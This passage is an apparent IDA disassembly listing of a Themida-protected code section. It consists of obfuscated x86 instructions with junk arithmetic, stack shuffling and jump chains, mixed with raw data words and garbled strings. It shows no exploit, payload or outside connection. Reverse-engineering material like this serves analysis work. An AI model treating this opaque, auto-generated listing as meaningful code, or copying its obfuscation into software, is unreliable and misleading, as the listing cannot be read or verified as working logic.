0E1E9EB29h, 0FF00003Ch, 34FF2434h, 24148B24h, 0E7C7E9h db 0 ; --------------------------------------------------------------------------- loc_555CF5: ; CODE XREF: Themida_:005538B9j add esi, 117F5410h add esi, edx jmp loc_556673 ; --------------------------------------------------------------------------- dw 535Ch dd 4F1EA0BBh, 0EB814371h, 57EF79B3h, 256BCB81h, 68E96213h dd 5600003Eh, 494225BEh, 8BF52945h, 0C4832434h, 0FCC18104h dd 812E324Bh, 0D032B5E9h, 81E9013Ch, 0D032B5C1h, 8DE9573Ch db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555D43: ; CODE XREF: Themida_:0055E347j add esi, 0AEC4F8B0h add edx, esi jmp loc_5532C1 ; --------------------------------------------------------------------------- loc_555D50: ; CODE XREF: Themida_:0055258Ej shl edx, 1 xor [edi+24h], edx xor edx, [edi+24h] xor [edi+24h], edx push 3F90h mov [esp], edi mov edi, 10EC586Ah jmp loc_56356D ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 1D2CE9h, 74FF5100h, 0CCE90424h, 81FFFFAAh, 0F92B5FEAh dd 1C572132h, 0FFCF40E9h, 65E95CFFh, 800000D0h, 0EFC02DCFh dd 4E4CE907h db 2 dup(0) word_555D9E dw 34FFh ; DATA XREF: Themida_:00550028o dd 240C8B24h, 5104C483h, 6CF9E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555DAE: ; CODE XREF: Themida_:0055F557j add edx, 4 xchg edx, [esp] pop esp add esp, 4 push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx push ebx push 4539h jmp loc_554513 ; --------------------------------------------------------------------------- dd 8B59E800h, 0C481241Ch, 4, 0D21DE9h db 0 ; --------------------------------------------------------------------------- loc_555DF1: ; CODE XREF: Themida_:0055BF7Ej mov dl, 0B4h sub dl, 27h not dl sub dl, 0F5h sub cl, dl mov edx, [esp] add esp, 4 sub cl, bl add cl, 7Dh mov ebx, [esp] add esp, 4 sub bl, cl pop ecx add bl, al push ecx mov ch, 0C6h add bl, ch jmp loc_55C10E ; --------------------------------------------------------------------------- loc_555E20: ; CODE XREF: Themida_:005612B2j mov [esp], edx jmp loc_5650AC ; --------------------------------------------------------------------------- dd 4246C81h, 736D5A4Dh, 4246C01h, 6EBBE9h, 0BEEB8100h dd 0E9339332h, 0FFFFF5ACh ; --------------------------------------------------------------------------- loc_555E44: ; CODE XREF: Themida_:0055F672j add esp, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_55B5D0 ; --------------------------------------------------------------------------- db 1 dd 13812DE8h, 9057267h, 8B4C6502h, 0C483242Ch, 0C1E95604h dd 0FF0000D0h, 0E9592434h, 3C0Ch, 81242489h, 42404h, 505D0000h dd 8A6FE9h, 24772900h, 0B54AE9h, 5AD68900h, 31B4EE81h dd 0F6817303h, 38FD3DE4h, 355EF009h, 35F40E6Ch, 12Dh, 7BABE900h dd 815C0000h, 4ECh, 243C8900h, 223FE3BFh, 246C8167h, 9D68FB08h dd 247C012Ah, 0A5F9E908h, 0E9530000h, 3E08h, 6AD4B850h dd 0B95143AAh, 1, 0F759C801h, 40540D8h, 53277826h, 0FFADB3E9h db 0FFh ; --------------------------------------------------------------------------- loc_555F01: ; CODE XREF: Themida_:005632ADj pop esp jmp loc_5651B9 ; --------------------------------------------------------------------------- byte_555F07 db 8Bh ; DATA XREF: Themida_:0054FF0Co dd 88E92424h, 0C3FFFFA1h, 0FFA182E9h, 0E5C15AFFh, 0B0AFE908h dd 3C870000h, 0D5E95C24h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555F27: ; CODE XREF: Themida_:00552CC0j mov [esp], edi mov edi, 55076BFBh shl edi, 3 and edi, 13B55C35h jmp loc_5536F8 ; --------------------------------------------------------------------------- aI4SS db '\‰4$éÅS',0 align 2 aVrhomizsC db 'VRhOm¨Zé æ',0 align 2 loc_555F52: ; CODE XREF: Themida_:00553F3Aj add edx, ebx add edx, 754D502Ah mov ebx, [esp] jmp loc_5573D3 ; --------------------------------------------------------------------------- loc_555F62: ; CODE XREF: Themida_:005539B6j push edi mov edi, 4DB7653Ah shr edi, 8 sub edi, 0F5DEA369h sub edx, edi pop edi sub edx, 0F8E58CEh pop ebx jmp loc_552E91 ; --------------------------------------------------------------------------- loc_555F80: ; CODE XREF: Themida_:0055210Cj sub eax, 3EF7756Ah sub eax, 0BC133C8Ch and ecx, eax pop eax not ecx shr ecx, 4 not ecx shl ecx, 6 jmp loc_553D4D ; --------------------------------------------------------------------------- dd 0E903E2C1h, 2576h, 660CBA52h, 0BF577C96h, 7D954A07h dd 5F5EF781h, 0EF8127A4h, 7DA9E09h, 0C15FFA31h, 0C28107EAh dd 0EFC2A0E0h, 0FFC105E9h, 19BA52FFh, 81BBE4C5h, 0A44845C7h dd 50D70102h, 5C41E9h, 6E020500h, 55F6FF8h, 0D9E1DD3h dd 0D6E9D829h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555FF3: ; CODE XREF: Themida_:0055825Bj sub ebx, 0DD9CFB8Eh sub esp, 4 mov [esp], ecx mov ecx, 4184223Fh add ebx, ecx push dword ptr [esp] pop ecx add esp, 4 push ebx xchg edx, [esp] jmp loc_55DCF2 ; --------------------------------------------------------------------------- loc_556019: ; CODE XREF: Themida_:00562DC2j mov eax, 18B13087h not eax push ebx mov ebx, 2421A49h shl ebx, 3 inc ebx shl ebx, 2 jmp loc_553629 ; --------------------------------------------------------------------------- dw 4401h dd 6C810424h, 7B5B0424h, 0E958270Dh, 0DB0Ch ; --------------------------------------------------------------------------- loc_556044: ; CODE XREF: Themida_:00565653j mov ebp, 1E65221Ah neg ebp push ebx jmp loc_55A5AD ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 81000000h, 4C1h, 240C8700h, 0FE2FE95Ch, 0C381FFFFh dd 4, 4EB81h, 1C870000h, 8CE95C24h db 0CBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55607B: ; CODE XREF: Themida_:0055E25Dj pop esp mov [esp], edx mov dh, 3Dh add bl, dh push dword ptr [esp] pop edx push eax push esp jmp loc_561D26 ; --------------------------------------------------------------------------- dw 0BC35h dd 8951AC75h, 0EE10E9C7h, 0D2F6FFFFh, 0F280D2F6h, 4EC816Bh dd 89000000h, 8B5240Ch, 0E994F580h, 0C017h ; --------------------------------------------------------------------------- loc_5560B4: ; CODE XREF: Themida_:0055CB9Cj add esp, 4 sub [edi+24h], ebx mov ebx, [esp] add esp, 4 jmp loc_5636BC ; --------------------------------------------------------------------------- db 2Dh dd 0E05ABCEDh, 48BC301h, 865DE924h, 81430000h, 540434F3h dd 6EBC11Ah, 739EEB81h, 0E956219Bh, 98EAh ; --------------------------------------------------------------------------- loc_5560F0: ; CODE XREF: Themida_:0055FE37j sub esp, 4 mov [esp], ebp push eax mov eax, 130C242Dh mov ebp, eax jmp loc_556799 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0A511h, 78E9CE31h, 8100002Ah, 4C7h, 990CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55611E: ; CODE XREF: Themida_:00562877j pop ecx pop esi jmp loc_561616 ; --------------------------------------------------------------------------- db 83h, 0E8h, 4 dd 5C240487h, 68241489h, 3DB119CBh, 72F2815Ah, 527A1806h dd 0F7975A5Fh, 58FEE9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556146: ; CODE XREF: Themida_:005651DFj mov [esp], ecx mov ecx, esp push ebx push esi mov esi, 26036579h inc esi add esi, 0A7C1975h shl esi, 5 neg esi xor esi, 9E69288Fh jmp loc_563566 ; --------------------------------------------------------------------------- db 0E9h, 29h, 9Fh dd 0CB01FFFFh, 4EC8359h, 0FFD745E9h, 245C29FFh, 66685B08h dd 8900007Eh, 0D0B82404h, 14E1070h, 8B082444h, 89532404h dd 0F9B951E3h, 8101A04Dh, 671711E1h, 0DE98178h, 0E9002005h dd 85BCh, 9A6894B8h, 0BEE95104h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5561B7: ; CODE XREF: Themida_:0055E5E2j add esp, 4 pop dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5644D0 ; --------------------------------------------------------------------------- loc_5561C9: ; CODE XREF: Themida_:00561317j mov [esp], edi push ecx mov ecx, 57505CCBh push edx mov edx, 0EC7008EFh add ecx, edx pop edx add [esp+4], ecx mov ecx, [esp] add esp, 4 pop eax push ebp sub esp, 4 mov [esp], ecx mov ecx, 46932EBDh shr ecx, 6 sub ecx, 401D3981h jmp loc_553EB7 ; --------------------------------------------------------------------------- loc_556200: ; CODE XREF: Themida_:0056155Dj add edi, 1 dec edi add edi, 6E3C193Ch push ebx mov ebx, 61945749h neg ebx or ebx, 63A14C54h add ebx, 6FAD1CB5h and edi, ebx pop ebx sub edi, 3ED35423h xor edi, 2DD0C0D7h jmp loc_559C64 ; --------------------------------------------------------------------------- word_556232 dw 8B66h ; DATA XREF: Themida_:0054FE30o dd 2868240Ch, 89000010h, 8B54242Ch, 0C483242Ch, 0C146E904h dd 1C870000h, 4875C24h, 24248B24h, 87240489h, 0D0F72404h dd 2474FF50h, 48F5804h, 11685824h, 89000012h, 0E955240Ch dd 0FFFFAD0Ch ; --------------------------------------------------------------------------- loc_556274: ; CODE XREF: Themida_:0055AE59j mov esi, 4 jmp loc_563D27 ; --------------------------------------------------------------------------- dw 0D689h dd 1A2DE9h, 0C3F58000h, 4EC81h, 1C890000h, 0AFAEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556296: ; CODE XREF: Themida_:0055F7F9j pop ecx shr ebp, 6 add ebp, 0FFFFFFFFh sub ebp, 15B95309h add edi, 4200570Ch sub edi, ebp sub edi, 4200570Ch pop ebp mov ebp, edi pop edi push edi jmp loc_55BA1A ; --------------------------------------------------------------------------- loc_5562BE: ; CODE XREF: Themida_:0055814Bj shl ecx, 8 not ecx jmp loc_557E6C ; --------------------------------------------------------------------------- dd 405h, 62CAE900h, 0E9520000h, 1A7Ch, 48BE130h, 0BBA0E924h dd 89510000h, 4C181E1h, 83000000h, 0C8704C1h, 6DE95C24h db 1Ah, 2 dup(0) byte_5562F7 db 66h ; DATA XREF: Themida_:0054FDE8o dd 83240C8Bh, 148904ECh, 0E9545324h, 0DF3h ; --------------------------------------------------------------------------- loc_556308: ; CODE XREF: Themida_:0055AB6Fj pop ecx pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 push ebx jmp loc_564AA4 ; --------------------------------------------------------------------------- loc_556331: ; CODE XREF: Themida_:0055A1B6j mov esi, 4 add ecx, esi pop esi push eax mov eax, 4 sub ecx, 5F7C7E08h add ecx, eax add ecx, 5F7C7E08h jmp loc_551E5A ; --------------------------------------------------------------------------- loc_556352: ; CODE XREF: Themida_:00562D08j mov edx, 2641385Dh or ecx, edx pop edx jmp loc_55CB66 ; --------------------------------------------------------------------------- db 57h dd 0BE56E789h, 4, 0FFDBF1E9h, 24348BFFh, 0FFD8DEE9h, 4EA81FFh dd 0E9000000h, 0B9B1h, 0E904C483h, 5E84h, 4C481h, 0BFE90000h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556393: ; CODE XREF: Themida_:00553973j push dword ptr [esp] pop esi add esp, 4 xor [esp+4], ebp jmp loc_551A44 ; --------------------------------------------------------------------------- db 1 dd 14E95DEBh, 5A000068h, 0E9240C87h, 9730h, 16B6BF57h dd 0FD2979B8h, 62C5815Fh, 172C52Ah, 62ED81FDh, 0E972C52Ah dd 0FFFFD972h ; --------------------------------------------------------------------------- loc_5563D0: ; CODE XREF: Themida_:00564D32j push edx mov dl, 0A8h shl dl, 3 push ecx jmp loc_55A731 ; --------------------------------------------------------------------------- aSjm db 9,'ØéJM',0 dw 5300h dd 0DD4EAFBBh, 76EB8112h, 10D4AE7h, 241C8BDEh, 8B04C483h dd 0C483241Ch, 0B16FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556402: ; CODE XREF: Themida_:00561DFEj push eax mov eax, 4DDD310Bh not eax and eax, 24696996h xor eax, 20204890h add edi, eax jmp loc_55BFA8 ; --------------------------------------------------------------------------- dd offset dword_4D2BE0+79h db 0D8h dd 0C4E94D04h, 870000C4h, 895C2434h, 8B54243Ch, 97E9243Ch dd 830000DCh, 5E904ECh, 0C100002Eh, 0C28106E2h, 8DC6AA9h dd 0B9E95351h, 4000009Bh, 9865A35h, 4ABF57BAh, 0E97F4727h dd 88B6h dword_556460 dd 24048B66h, 3AD6E9h, 0DC78100h, 0C1282667h, 0C78106EFh ; DATA XREF: Themida_:0054FED4o dd 0FFA7C734h, 835FFB01h, 0E95304C3h, 43E0h, 5A29B951h dd 0D9F75657h, 8105E9C1h, 2A6278F1h, 59CF0174h, 3C03EF81h dd 0C78110E1h, 42D96262h, 0A3C7814Fh, 0E9718DCEh, 0CD96h dd 73B2BA52h, 0D00123F4h, 2DD8015Ah, 23F473B2h, 0FFBDE9E9h dd 1DBD55FFh, 89FC2F4Eh, 0C177E9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5564D2: ; CODE XREF: Themida_:0055EBBFj xchg eax, [esp] pop esp jmp loc_5610F1 ; --------------------------------------------------------------------------- loc_5564DB: ; CODE XREF: Themida_:0055AD8Dj pop ebx jmp loc_55FDA9 ; --------------------------------------------------------------------------- db 80h, 0F2h, 64h aSSx db 'S³-é•',8,0 align 4 dd 2414895Ch, 2F3978BAh, 2BBE5610h, 5322321Fh, 0B053A0BBh dd 49CAE970h, 9DBB0000h, 31CC9463h, 1446E9DDh, 0BA520000h dd 6C4518Fh, 0C104EAC1h, 0F28107E2h, 5AD78569h, 0FFDD54E9h dd 243C89FFh, 0C781E789h, 4, 0DE03E950h, 0E951FFFFh, 213Bh dd 0F781EFD1h, 128F3598h, 4AE9FA01h, 5700006Ch, 237EE1BFh dd 0DA8FE901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55655A: ; CODE XREF: Themida_:0055154Ej add esp, 2 add dl, 3Dh sub al, 0E9h sub al, dl add al, 0E9h pop edx sub al, 4Dh sub al, bl add al, 4Dh add al, 5Dh push ecx mov ch, 0C4h neg ch shr ch, 4 inc ch jmp loc_55AA29 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 0E9000000h, 0BF4Eh ; --------------------------------------------------------------------------- loc_55658C: ; CODE XREF: Themida_:00560487j add ebx, ebp push ecx jmp loc_55994E ; --------------------------------------------------------------------------- dd 2E1C15Ah, 4106E9C1h, 28B2F181h, 1E9521Bh, 890000AEh dd 0DD8959CBh, 246C015Bh, 0C015E904h, 0E7800000h, 0E9CFFE4Dh dd 0C969h ; --------------------------------------------------------------------------- loc_5565C0: ; CODE XREF: Themida_:00551A99j add ebp, 4 jmp loc_558CA9 ; --------------------------------------------------------------------------- db 5Fh dd 0BE56F101h, 570D525Bh, 969EE9h db 0 ; --------------------------------------------------------------------------- loc_5565D9: ; CODE XREF: Themida_:0055F5BCj mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 push eax jmp loc_55564D ; --------------------------------------------------------------------------- dd 69B95152h, 816D1E5Fh, 691BB8F1h, 87C9812Ah, 8112254Ah dd 135D1CC1h, 0B40DE902h, 0E689FFFFh, 4C681h, 0EC830000h dd 4BC5E904h, 3C890000h, 0CB12E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556622: ; CODE XREF: Themida_:005542E9j push ebx mov ebx, 4 add [esp+4], ebx pop ebx pop edi add edi, 4 push ecx jmp loc_55D691 ; --------------------------------------------------------------------------- dw 0EAB7h dd 5B66F828h, 332CE22Ch, 8904EC83h, 1EE9241Ch, 57000085h dd 910EF168h, 243C8B08h, 4EC8151h, 89000000h, 4832424h dd 5AE90424h, 52FFFFACh, 27E971B2h db 0C7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556673: ; CODE XREF: Themida_:00555CFDj push ebp jmp loc_56506F ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 33240C31h, 315C240Ch, 8B04247Ch, 0C481243Ch, 4, 0E924148Bh dd 0BF0Dh ; --------------------------------------------------------------------------- loc_556698: ; CODE XREF: Themida_:0055A27Fj add esi, 4 xchg esi, [esp] mov esp, [esp] shr ecx, 7 jmp loc_552B7C ; --------------------------------------------------------------------------- dd 8104C483h, 1C1h, 4292E900h, 1BA0000h, 89000000h, 24148BD1h dd 0FFDEBFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5566C9: ; CODE XREF: Themida_:00553932j not ebx neg ebx sub ebx, 0C1E2E7E3h add eax, ebx jmp loc_55A38D ; --------------------------------------------------------------------------- loc_5566DA: ; CODE XREF: Themida_:005551F3j push small 71EFh jmp loc_55793C ; --------------------------------------------------------------------------- loc_5566E3: ; CODE XREF: Themida_:0056152Dj mov eax, esi jmp loc_555574 ; --------------------------------------------------------------------------- loc_5566EA: ; CODE XREF: Themida_:005534C8j add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_553A2D ; --------------------------------------------------------------------------- dd 8159CA29h, 0F0296BEAh, 81DA0118h, 0F0296BC2h, 5457E918h dd 0F4BF0000h, 891BEF0Dh, 0E8015FFDh, 3BD555Dh, 50337462h dd 6D5307B8h, 58C50903h, 18CEE957h, 0C7810000h, 4, 0FFB754E9h dd 30D2DFFh, 0E2E95A3Bh, 68000083h, 7AE442BDh, 50243C8Bh dd 405E089h, 83000000h, 48704C0h, 0E4E95C24h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55676F: ; CODE XREF: Themida_:0055AA30j sub al, ch sub al, 0A5h add al, 93h jmp loc_563ECE ; --------------------------------------------------------------------------- dw 0FF56h dd 0E9042474h, 342h, 68240489h, 281h, 701E9h db 0 ; --------------------------------------------------------------------------- loc_556791: ; CODE XREF: Themida_:00552604j push dword ptr [esp] jmp loc_55AF81 ; --------------------------------------------------------------------------- loc_556799: ; CODE XREF: Themida_:00556101j pop eax jmp loc_555C41 ; --------------------------------------------------------------------------- db 89h dd 0D4B82404h, 0C142FB65h, 0FD2D03E0h, 81AF4106h, 30603EC3h dd 1BC38117h, 295DF277h, 1BEB81C3h, 515DF277h, 0C107CDB9h dd 6A47E971h, 0B9510000h, 4, 0FFD2EBE9h, 98B9E9FFh, 0C483FFFFh dd 0F9015A04h, 240C335Fh, 0E9240C31h, 216Bh, 874AD187h dd 0C8F181D1h, 8101ED77h, 7AA987E9h, 59CA2943h, 8B5AD729h dd 64682404h, 0E900003Fh, 0BEC4h, 68240C89h, 3AE1h, 52242489h dd 604B850h, 3BE97A0Ch, 0E9000038h, 0FFFF9867h, 2237C281h dd 0C281407Bh, 618F1C8Ah, 2BC7E9h db 0 ; --------------------------------------------------------------------------- loc_556841: ; CODE XREF: Themida_:0055C8CBj pop esp push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 jmp loc_561928 ; --------------------------------------------------------------------------- aLSvm db '‹$$éVŒ',0 align 4 dd 0F4AE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556862: ; CODE XREF: Themida_:00553037j push ebx pop dword ptr [edi+20h] mov ebx, [esp] add esp, 4 loc_55686C: ; CODE XREF: Themida_:0055C363j ; Themida_:0055CEF3j push dword ptr [esp] jmp loc_5577FD ; --------------------------------------------------------------------------- dd 2434875Bh, 4C1815Ch, 57000000h, 4BFh, 41C18100h, 101CF28h dd 41E981F9h, 5F01CF28h, 5C240C87h, 39F5B951h, 0C1814A8Fh dd 0B570C60Fh, 978BB53h, 32E90128h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5568AF: ; CODE XREF: Themida_:005649E4j add esp, 4 add ebp, 0A3E5AA10h add eax, ebp push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 mov [esp], edx jmp loc_55E4BE ; --------------------------------------------------------------------------- dw 34B4h dd 5866E328h, 80ECC380h, 0C580F6EDh, 9DED8005h, 0C580DD28h dd 604EE99Dh, 0E9500000h, 0BB05h, 4BEh, 5FED8100h, 0E976287Ch dd 84CDh, 3D349CBDh, 36E5BF43h, 0EF01D7BFh, 7E6DE9h db 0 ; --------------------------------------------------------------------------- loc_556915: ; CODE XREF: Themida_:0055907Cj and edx, esi pop esi add edx, 0E6BB4F85h add ebx, edx pop edx mov eax, ebx jmp loc_552CC5 ; --------------------------------------------------------------------------- dd 0C4A9E95Dh, 8159FFFFh, 4ECh, 0E43AE900h, 0F2890000h dd 0CA81595Eh, 564F64FFh, 10F7BD55h, 0EA017FDAh, 81EAD15Dh dd 812CF5EAh, 4B1CE9D9h, 2C870000h, 24248B24h, 0FF9732E9h db 0FFh ; --------------------------------------------------------------------------- loc_556965: ; CODE XREF: Themida_:0055F485j add ebx, 59BB5169h sub ebx, eax sub ebx, 59BB5169h pop eax xchg ebx, [esp] mov esp, [esp] mov [esp], esi mov eax, [esp] add esp, 4 pop esi push edx push ebp mov ebp, 41012B00h xor ebp, 41002B00h push edx mov edx, esp jmp loc_55F5BB ; --------------------------------------------------------------------------- dd 3FCE6866h, 24048966h, 0FF96EEE9h, 5FF821FFh, 2C5068h dd 241C8900h, 8C296ABBh, 5BD80153h, 0BD0CE9h, 2414F700h dd 7DA6E9h, 243C8900h, 6B00E8BFh, 3CCF8163h, 816D240Ah dd 0CD47A5F7h, 0F7D78764h, 0A4E0E9D2h, 1C89FFFFh, 81E38924h dd 4C3h, 0CE5DE900h, 0B5BFFFFFh, 2950C202h, 4A055FFAh dd 0E9375E3Eh, 0AB5Ah, 24048F5Eh, 4AB6525Ch, 0E1CCE9h dd 17E95300h db 0C3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556A1B: ; CODE XREF: Themida_:00555695j pop esp push ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_561685 ; --------------------------------------------------------------------------- aSSr db 'Áè',8,'éàº',0 dd 0ED815A00h, 3073B12h, 0FCE9C501h, 8B00006Fh, 0C481242Ch dd 4, 499FBE56h, 0F6812F49h, 54997561h, 6D3CBA52h, 0D631B9CBh dd 0FFE23CE9h db 0FFh ; --------------------------------------------------------------------------- loc_556A7D: ; CODE XREF: Themida_:00550AEDj push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_5605EF ; --------------------------------------------------------------------------- db 1, 0F5h, 5Eh dd 7B07BE56h, 0F68173DCh, 38022D29h, 7A6DC581h, 0F5010600h dd 0FFA5F6E9h, 0BE581FFh, 5315A830h, 657E9h, 58F42D00h dd 8E2D7136h, 89A2E9E8h, 5256E9C5h, 34FF0000h, 0C4815E24h dd 4, 8B24048Fh, 9AE92424h, 5000009Ah, 405E089h, 83000000h dd 48704E8h, 3C895C24h, 0E9E78924h, 35Ch ; --------------------------------------------------------------------------- loc_556AF4: ; CODE XREF: Themida_:00552339j mov ecx, [esp] push edx mov edx, esp push ebp mov ebp, 1536E3Ah and ebp, 22914F56h sub ebp, 114E0Eh add edx, ebp pop ebp add edx, 4 xchg edx, [esp] pop esp push edi mov edi, 4 add ecx, edi pop edi add ecx, 2 xchg ecx, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_550097 ; --------------------------------------------------------------------------- dw 0F189h dd 91D6E9h, 44ABBE00h, 0F10160A6h, 0BF575Eh, 81000000h dd 1A6861EFh, 1A93E967h, 5E5A0000h, 849FE9h db 0 ; --------------------------------------------------------------------------- loc_556B5D: ; CODE XREF: Themida_:00558DFAj mov [esp], edi mov edi, 43F77097h jmp loc_559C53 ; --------------------------------------------------------------------------- dw 0E3C1h dd 128EE904h, 348B0000h, 4C48124h, 5000000h, 921269E0h dd 158C589h, 5D04246Ch, 0FF2434FFh, 0E9582434h, 966Ch dd 2EC168h, 1ED9E900h, 895B0000h, 242C8BE9h, 2335E9h, 14896600h dd 9C506624h, 0FF94E2E9h, 0CABA52FFh, 875F015Ah, 0DA8743DAh dd 0A539C281h, 1E9A0FEh db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556BCB: ; CODE XREF: Themida_:0055CF01j add ecx, 4 jmp loc_5654ED ; --------------------------------------------------------------------------- dw 0E280h dd 0B2525310h, 0FE5266A8h, 5A662404h, 0E93BF280h, 7C36h ; --------------------------------------------------------------------------- loc_556BEC: ; CODE XREF: Themida_:005610E5j mov [esp], ebx jmp loc_561EDD ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 515F0000h, 4B9h, 4F7E900h, 34890000h dd 0E9E68924h, 0AD68h, 55EF031h, 0AD83D48h, 5A08F535h dd 0C862E936h, 8350FFFFh, 0E9FF242Ch, 48Ah, 0A5C4E956h dd 0E95A0000h, 0AFAAh ; --------------------------------------------------------------------------- loc_556C3C: ; CODE XREF: Themida_:0056508Fj pop esp mov [esp], ebp mov ebp, 24h add esi, 473301B0h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_553F9F ; --------------------------------------------------------------------------- aXiFys1 db 'XˆÊfYé1°',0 dd 24048900h, 42474FFh, 24048F58h, 76B7E9h, 24048900h dd 0C4FE93B4h, 0FFC32EE9h, 243487FFh, 2424895Ch, 4EC81h dd 1C890000h, 4BB24h, 5C010000h, 1C8B0424h, 4C48324h, 1236E9h dd 0D3F75A00h, 0C381E3D1h, 7586EFE6h, 3974E9h, 0E9F90100h dd 0FFFFE5AEh, 0BB235ABEh, 0E9F50166h, 0FFFFA8F2h, 66241489h dd 660FBD68h, 0C281665Ah, 0C6E962BAh, 81FFFFC7h, 0FE4D2EC3h dd 0E9C30104h, 0BA1Fh, 0D02E0C1h, 0B145C99h, 5204E0C1h dd 5085F4BAh, 54FE2D91h, 0D0291372h, 0B284E9h, 246C8100h dd 724B6D04h, 0E3E95867h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556D17: ; CODE XREF: Themida_:00555C90j sub ebp, ebx jmp loc_55BA78 ; --------------------------------------------------------------------------- word_556D1E dw 77FFh ; DATA XREF: Themida_:0054FF94o dd 11589D1Ch, 0E99C2404h, 0FFFF936Bh, 8F24248Bh, 248B2404h dd 0B30F6624h, 0E99C2404h, 0FFFF9357h, 5EF5EE81h, 0E95A3D10h dd 0FFFFE441h, 5749D1F7h, 661268h, 242C8900h, 0DB317568h dd 0F5815D52h, 39A13F76h, 6BB5BB53h, 0B850617Bh, 7414E5Dh dd 3865BE56h, 0EE810817h, 4DD41510h, 0FFE174E9h, 0FDC380FFh dd 0FE06EBC0h, 0D0E380C3h, 51EB80h, 0F42C5BD8h, 0F404D000h dd 80ABB252h, 5104FCEAh, 512CD028h, 0EA045A5Ah, 0EC81D828h dd 2, 241C8966h, 0FFF881E9h db 0FFh byte_556DB9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FFA4o dd 5024048Bh, 0EC81E089h, 4, 0BB241C89h, 4, 0FFBBE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_556DD5: ; CODE XREF: Themida_:0055FF81j sub esp, 4 mov [esp], ebp mov ebp, 40F2398Fh or ecx, ebp pop ebp inc ecx shl ecx, 7 push edx mov edx, 799EF7FCh jmp loc_55713B ; --------------------------------------------------------------------------- db 5, 4, 0 dd 42D0000h, 87000000h, 895C2404h, 74E9240Ch db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556E0B: ; CODE XREF: Themida_:00557646j sub ebp, 4 sub esp, 4 jmp loc_55A39E ; --------------------------------------------------------------------------- db 66h, 51h, 9Ch dd 0FF9276E9h db 0FFh ; --------------------------------------------------------------------------- loc_556E21: ; CODE XREF: Themida_:005538E2j add eax, 4F9A7AABh sub edi, eax pop eax add ebp, edi pop edi push ebp push dword ptr [esp+4] pop ebp jmp loc_55A667 ; --------------------------------------------------------------------------- loc_556E37: ; CODE XREF: Themida_:00557D35j sub ecx, ebx jmp loc_55F286 ; --------------------------------------------------------------------------- dw 0EF81h dd 2F006001h, 4C7835Ah, 0E9243C87h, 67E5h, 4B850h, 0C7010000h dd 8324048Bh, 0E95104C4h, 2EB6h, 7C5D5DBEh, 4ED6F73Bh dd 0C2B5E946h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556E72: ; CODE XREF: Themida_:0055BBE4j sub ebx, 3BE940DFh add ebx, edi add ebx, 3BE940DFh pop edi add ebx, 4 xor ebx, [esp] jmp loc_55DBA8 ; --------------------------------------------------------------------------- loc_556E8C: ; CODE XREF: Themida_:005517AFj pop edx jmp loc_562151 ; --------------------------------------------------------------------------- aISsa db '‰$$é™ ',0 align 2 dw 32BAh dd 81699C5Fh, 3A2D0FEAh, 6EAC176h, 3A40C281h, 0EA8134B7h dd 564CE7A6h, 0ABCAE9h db 0 ; --------------------------------------------------------------------------- loc_556EB9: ; CODE XREF: Themida_:00553B63j sub edx, esi jmp loc_5600AA ; --------------------------------------------------------------------------- loc_556EC0: ; CODE XREF: Themida_:0055B9B2j push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 push eax jmp loc_563E3F ; --------------------------------------------------------------------------- loc_556ED3: ; CODE XREF: Themida_:0055707Fj pop dword ptr [esp] jmp loc_55711C ; --------------------------------------------------------------------------- db 8Bh dd 2C892424h, 3A43BD24h, 76E90FB6h, 0FFFFFFD3h, 5B042474h dd 8B24048Fh, 4872424h, 24248B24h, 78F3E9h, 24F58100h dd 8127F7BEh, 0FC46DBE9h, 4A64E930h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556F12: ; CODE 